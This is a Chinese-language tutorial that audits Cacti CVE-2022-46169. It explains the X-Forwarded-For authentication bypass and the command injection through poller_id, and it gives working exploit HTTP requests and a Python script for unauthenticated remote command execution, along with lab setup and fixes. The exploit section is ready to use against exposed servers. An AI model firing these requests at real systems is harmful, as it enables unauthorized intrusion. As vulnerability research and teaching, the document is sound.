PHP代码审计其一:Cacti CVE-2022-46169
字数 1261 2025-08-11 08:36:11

Cacti CVE-2022-46169 漏洞分析与利用教学

漏洞概述

CVE-2022-46169 是 Cacti 监控系统中的一个高危漏洞,包含两个关键安全问题:

  1. 未授权访问漏洞 - 由于 break 2 的错误使用导致认证绕过
  2. 命令注入漏洞 - 通过 proc_open 函数直接拼接用户输入导致远程命令执行

该漏洞影响版本:Cacti <= 1.2.22

漏洞分析

1. 命令注入点分析

漏洞核心代码位于 remote_agent.php 中的 poll_for_data() 函数:

case POLLER_ACTION_SCRIPT_PHP:
    $cactides = array(
        0 => array('pipe', 'r'), // stdin
        1 => array('pipe', 'w'), // stdout
        2 => array('pipe', 'w')  // stderr
    );
    $cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . 
        $config['base_path'] . '/script_server.php realtime ' . $poller_id, 
        $cactides, $pipes);
    $output = fgets($pipes[1], 1024);

关键问题:

  • $poller_id 直接拼接进命令字符串
  • 未对用户输入进行过滤,可通过管道符 | 或反引号 ` 注入命令

2. 触发条件分析

要触发命令注入需要满足以下条件:

  1. 需要三个参数:

    • local_data_ids[] (数组)
    • host_id
    • poller_id (命令注入点)
  2. 需要 $item['action'] == 2 (POLLER_ACTION_SCRIPT_PHP)

  3. 需要绕过认证检查

3. 认证绕过分析

认证检查函数 remote_client_authorized() 存在问题:

function remote_client_authorized() {
    $client_addr = get_client_addr();
    // ...
    if (remote_agent_strip_domain($poller['hostname']) == $client_name) {
        return true;
    }
}

get_client_addr() 函数存在逻辑缺陷:

function get_client_addr($client_addr = false) {
    $http_addr_headers = array('X-Forwarded-For', 'X-Client-IP', ...);
    foreach ($http_addr_headers as $header) {
        if (!empty($_SERVER[$header])) {
            // ...
            break 2; // 错误地跳出两层循环
        }
    }
    return $client_addr;
}

利用方法:

  • 通过伪造 X-Forwarded-For 头为 127.0.0.1 绕过认证

漏洞利用

1. 基本利用 (无回显)

GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: localhost

2. 带命令回显的利用

利用 PHP 管道特性,构造特殊输出格式:

GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`echo+"\r\n1:$(id)"` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: localhost

其他回显构造方法:

  • 使用 xxdbase64 编码输出
  • 使用 awksed 格式化输出

3. 自动化利用脚本

import requests

target = "http://target.com"
cmd = "id"

headers = {
    "X-Forwarded-For": "127.0.0.1",
    "Host": "localhost"
}

params = {
    "action": "polldata",
    "local_data_ids[0]": "6",
    "host_id": "1",
    "poller_id": f"`echo -e \"\\r\\n1:$({cmd})\"`"
}

r = requests.get(f"{target}/remote_agent.php", params=params, headers=headers)
print(r.text)

环境搭建与复现

  1. 使用 Docker 快速搭建环境:
git clone https://github.com/vulhub/vulhub.git
cd vulhub/cacti/CVE-2022-46169
docker-compose up -d
  1. 复现步骤:
  • 访问 http://localhost:8080 完成 Cacti 安装
  • 创建新设备和新图形
  • 使用上述 payload 进行测试

漏洞修复

  1. 升级到 Cacti 1.2.23 或更高版本
  2. 临时修复方案:
    • poller_id 参数进行严格过滤
    • 修复 get_client_addr() 函数中的逻辑错误
    • 使用 escapeshellarg() 处理命令参数

深入分析

1. 如何生成 action=2 的记录

需要通过以下步骤创建有效数据:

  1. 创建新设备
  2. 创建新图形,选择类型为 "PHP Script Server" 的模板
  3. 这会在数据库中创建 action=2 的记录

SQL 查询确认:

SELECT di.id, di.type_id, dtd.id 
FROM data_template_data AS dtd 
INNER JOIN data_input AS di ON dtd.data_input_id=di.id 
WHERE di.type_id=5

2. 完整的调用链分析

graphs_new.php
    form_save()
        html_graph_new_graphs()
            create_save_graph()
                /lib/template.php
                    push_out_host()
                        update_poller_cache()  # 设置action=2
                            poller_update_poller_cache_from_buffer()

总结与思考

  1. 漏洞关键点:

    • 命令拼接导致的注入
    • 认证逻辑缺陷
    • 复杂的触发条件
  2. 审计技巧:

    • 关注敏感函数如 proc_open, system, exec
    • 跟踪用户输入流向
    • 注意认证逻辑中的边界条件
  3. 防御建议:

    • 永远不要直接拼接用户输入到命令中
    • 使用白名单验证输入
    • 对敏感操作进行严格权限控制

参考资源

  1. Cacti 官方公告
  2. Vulhub 复现环境
  3. 详细技术分析
Cacti CVE-2022-46169 漏洞分析与利用教学 漏洞概述 CVE-2022-46169 是 Cacti 监控系统中的一个高危漏洞,包含两个关键安全问题: 未授权访问漏洞 - 由于 break 2 的错误使用导致认证绕过 命令注入漏洞 - 通过 proc_open 函数直接拼接用户输入导致远程命令执行 该漏洞影响版本:Cacti <= 1.2.22 漏洞分析 1. 命令注入点分析 漏洞核心代码位于 remote_agent.php 中的 poll_for_data() 函数: 关键问题: $poller_id 直接拼接进命令字符串 未对用户输入进行过滤,可通过管道符 | 或反引号 ` 注入命令 2. 触发条件分析 要触发命令注入需要满足以下条件: 需要三个参数: local_data_ids[] (数组) host_id poller_id (命令注入点) 需要 $item['action'] == 2 (POLLER_ ACTION_ SCRIPT_ PHP) 需要绕过认证检查 3. 认证绕过分析 认证检查函数 remote_client_authorized() 存在问题: get_client_addr() 函数存在逻辑缺陷: 利用方法: 通过伪造 X-Forwarded-For 头为 127.0.0.1 绕过认证 漏洞利用 1. 基本利用 (无回显) 2. 带命令回显的利用 利用 PHP 管道特性,构造特殊输出格式: 其他回显构造方法: 使用 xxd 或 base64 编码输出 使用 awk 或 sed 格式化输出 3. 自动化利用脚本 环境搭建与复现 使用 Docker 快速搭建环境: 复现步骤: 访问 http://localhost:8080 完成 Cacti 安装 创建新设备和新图形 使用上述 payload 进行测试 漏洞修复 升级到 Cacti 1.2.23 或更高版本 临时修复方案: 对 poller_id 参数进行严格过滤 修复 get_client_addr() 函数中的逻辑错误 使用 escapeshellarg() 处理命令参数 深入分析 1. 如何生成 action=2 的记录 需要通过以下步骤创建有效数据: 创建新设备 创建新图形,选择类型为 "PHP Script Server" 的模板 这会在数据库中创建 action=2 的记录 SQL 查询确认: 2. 完整的调用链分析 总结与思考 漏洞关键点: 命令拼接导致的注入 认证逻辑缺陷 复杂的触发条件 审计技巧: 关注敏感函数如 proc_open , system , exec 等 跟踪用户输入流向 注意认证逻辑中的边界条件 防御建议: 永远不要直接拼接用户输入到命令中 使用白名单验证输入 对敏感操作进行严格权限控制 参考资源 Cacti 官方公告 Vulhub 复现环境 详细技术分析